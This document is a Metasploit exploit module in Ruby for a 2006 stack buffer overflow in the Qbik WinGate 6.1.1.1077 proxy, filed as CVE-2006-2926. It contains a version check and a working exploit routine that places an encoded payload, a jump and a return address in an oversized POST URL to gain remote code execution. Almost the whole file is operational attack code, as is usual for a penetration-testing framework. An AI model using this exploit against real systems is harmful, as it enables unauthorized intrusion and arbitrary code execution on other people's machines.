##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in Qbik WinGate version
          6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
          HTTP proxy service on port 80, a remote attacker could overflow
          a buffer and execute arbitrary code.
        },
        'Author' => 'aushack',
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2006-2926' ],
          [ 'OSVDB', '26214' ],
          [ 'BID', '18312' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
          'AllowWin32SEH' => true
        },
        'Payload' => {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
        ],
        'Privileged' => true,
        'DisclosureDate' => '2006-06-07',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80)
      ]
    )
  end

  def check
    connect
    sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
    banner = sock.get_once || ''
    if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buff = Rex::Text.rand_text_alphanumeric(3000)
    buff[1200, 1000] = payload.encoded # jmp here
    buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
    buff[2284, 4] = [target['Ret']].pack('V') # eip

    sploit = "POST http://#{buff}/ HTTP/1.0\r\n\r\n"

    sock.put(sploit)
    sock.get_once(-1, 3)

    handler
    disconnect
  end
end